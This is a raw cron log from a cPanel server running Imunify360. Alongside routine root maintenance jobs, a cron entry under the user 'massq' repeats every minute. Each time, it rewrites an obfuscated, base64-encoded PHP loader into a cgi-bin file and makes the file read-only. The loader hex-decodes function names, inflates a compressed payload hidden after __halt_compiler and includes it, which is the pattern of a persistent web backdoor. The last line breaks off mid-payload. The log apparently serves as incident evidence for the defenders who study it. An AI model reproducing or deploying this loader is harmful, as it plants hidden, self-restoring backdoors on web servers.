Sep  7 10:20:01 server CROND[23145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:20:01 server CROND[23147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:20:01 server CROND[23151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:20:01 server CROND[23148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:20:01 server CROND[23149]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:20:01 server CROND[23154]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:20:01 server CROND[23152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:20:01 server CROND[23150]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 10:20:01 server CROND[23155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:21:01 server CROND[24045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:21:01 server CROND[24046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:21:01 server CROND[24047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:22:01 server CROND[24528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:22:01 server CROND[24529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:22:01 server CROND[24530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:23:01 server CROND[24979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:23:01 server CROND[24980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:23:01 server CROND[24981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:24:01 server CROND[25365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:24:01 server CROND[25366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:24:01 server CROND[25367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:25:01 server CROND[25792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:25:01 server CROND[25794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:25:01 server CROND[25795]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:25:01 server CROND[25798]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:25:01 server CROND[25799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:25:01 server CROND[25804]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:25:01 server CROND[25803]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:25:01 server CROND[25800]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 10:26:01 server CROND[26641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:26:01 server CROND[26642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:26:01 server CROND[26643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:27:01 server CROND[27176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:27:01 server CROND[27178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:27:01 server CROND[27179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:27:01 server CROND[27177]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 10:28:01 server CROND[27570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:28:01 server CROND[27571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:28:01 server CROND[27572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:29:01 server CROND[27953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:29:01 server CROND[27954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:29:01 server CROND[27955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:30:01 server CROND[28344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:30:01 server CROND[28346]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:30:01 server CROND[28347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:30:01 server CROND[28348]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:30:01 server CROND[28350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:30:01 server CROND[28349]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:30:01 server CROND[28351]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:30:01 server CROND[28354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:31:01 server CROND[29170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:31:01 server CROND[29171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:31:01 server CROND[29172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwF